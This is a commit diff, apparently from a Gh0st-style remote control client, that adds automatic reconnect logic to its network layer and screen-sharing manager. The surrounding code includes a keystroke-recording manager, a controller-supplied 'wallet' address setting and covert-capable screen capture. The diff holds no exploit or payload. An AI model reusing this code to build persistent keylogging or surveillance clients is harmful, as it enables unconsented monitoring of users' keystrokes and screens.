Feature: Add reconnect logic for remote desktop control

This commit is contained in:
yuanyuanxiang
2025-12-15 23:09:56 +01:00
parent 250ae09898
commit d919949213
13 changed files with 103 additions and 29 deletions

View File

@@ -83,11 +83,13 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
}
#endif
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect)
{
m_Manager = Manager;
m_DataProcess = dataProcess;
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
}
@@ -115,6 +117,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_bConnected = FALSE;
m_exit_while_disconnect = exit_while_disconnect;
m_ReconnectFunc = NULL;
#if USING_CTX
m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx();
@@ -402,7 +405,7 @@ bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, in
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
Disconnect(); //接收错误处理
m_CompressedBuffer->ClearBuffer();
if (m_exit_while_disconnect)
if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
return false;
} else {
szBuffer[iReceivedLength] = 0;
@@ -650,7 +653,7 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
Mprintf("======> RunEventLoop begin\n");
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
Sleep(200);
setManagerCallBack(NULL, NULL);
setManagerCallBack(NULL, NULL, NULL);
Mprintf("======> RunEventLoop end\n");
}
@@ -669,6 +672,6 @@ VOID IOCPClient::RunEventLoop(TrailCheck checker)
#endif
while (m_bIsRunning && checker())
Sleep(200);
setManagerCallBack(NULL, NULL);
setManagerCallBack(NULL, NULL, NULL);
Mprintf("======> RunEventLoop end\n");
}

View File

@@ -28,6 +28,7 @@ enum { S_STOP = 0, S_RUN, S_END };
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
typedef int (*OnDisconnectCB)(void* userData);
class ProtocolEncoder
{
@@ -108,6 +109,9 @@ public:
}
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
// Tip: 在派生类实现该函数以便支持断线重连
virtual BOOL OnReconnect() { return FALSE; }
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
IOCPManager* m_Manager = (IOCPManager*)user;
@@ -129,6 +133,13 @@ public:
m_Manager->OnReceive(szBuffer, ulLength);
return TRUE;
}
static int ReconnectProcess(void* user) {
IOCPManager* m_Manager = (IOCPManager*)user;
if (nullptr == m_Manager) {
return FALSE;
}
return m_Manager->OnReconnect();
}
};
typedef BOOL(*TrailCheck)(void);
@@ -185,13 +196,11 @@ public:
{
return m_bIsRunning;
}
void SetExit()
{
VOID StopRunning() {
m_ReconnectFunc = NULL;
m_bIsRunning = FALSE;
}
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
VOID RunEventLoop(TrailCheck checker);
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const
@@ -243,6 +252,7 @@ protected:
const State& g_bExit; // 全局状态量
void* m_Manager; // 用户数据
DataProcessCB m_DataProcess; // 处理用户数据
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
ProtocolEncoder* m_Encoder; // 加密
DomainPool m_Domain;
std::string m_sCurIP;

View File

@@ -228,7 +228,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DWORD WINAPI SendKeyboardRecord(LPVOID lParam)
{
CManager* pMgr = (CManager*)lParam;
CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam;
if (pMgr) {
pMgr->Reconnect();
pMgr->Notify();
@@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case CMD_MASTERSETTING:
if (ulLength > MasterSettingsOldSize) {
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds\n", ulLength - 1, m_settings.ReportInterval);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
CManager* pMgr = (CManager*)m_hKeyboard->user;

View File

@@ -237,6 +237,10 @@ public:
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();

View File

@@ -229,7 +229,7 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
{
m_bReady = TRUE;
m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
}

View File

@@ -54,10 +54,6 @@ public:
{
return m_ClientObject->IsConnected();
}
BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
virtual void Notify() { }
virtual void UpdateWallet(const std::string &wallet) { }
BOOL Send(LPBYTE lpData, UINT nSize);

View File

@@ -297,6 +297,14 @@ void CScreenManager::InitScreenSpy()
}
}
BOOL CScreenManager::OnReconnect()
{
m_SendFirst = FALSE;
BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed");
return r;
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
@@ -309,7 +317,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
This->WaitForDialogOpen();
clock_t last = clock();
This->SendFirstScreen();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
@@ -324,6 +331,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
clock_t last_check = clock();
timeBeginPeriod(1);
while (This->m_bIsWorking) {
if (!This->IsConnected()) {
Sleep(50);
continue;
}
if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
// 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) {
auto now = clock();
@@ -384,7 +401,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
VOID CScreenManager::SendBitMapInfo()
{
//这里得到bmp结构的大小
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t);
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
@@ -393,6 +410,7 @@ VOID CScreenManager::SendBitMapInfo()
//这里将bmp位图结构发送出去
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
VirtualFree(szBuffer, 0, MEM_RELEASE);
@@ -420,7 +438,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
pClient->setManagerCallBack(mgr, CManager::DataProcess);
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
// 发送目录并准备接收文件
char cmd[300] = { COMMAND_GET_FILE };
memcpy(cmd + 1, folder.c_str(), folder.length());
@@ -461,6 +479,12 @@ void FinishSend(void* user)
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_BYE: {
Mprintf("[CScreenManager] Received BYE\n");
m_bIsWorking = FALSE;
m_ClientObject->StopRunning();
break;
}
case COMMAND_SWITCH_SCREEN: {
SwitchScreen();
break;
@@ -471,6 +495,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_NEXT: {
m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0;
NotifyDialogIsOpen();
break;
}

View File

@@ -61,7 +61,9 @@ public:
return m_conn ? m_conn->iStartup == Startup_GhostMsc : false;
}
bool SwitchScreen();
virtual BOOL OnReconnect();
uint64_t m_DlgID = 0;
BOOL m_SendFirst = FALSE;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_virtual;
POINT m_point;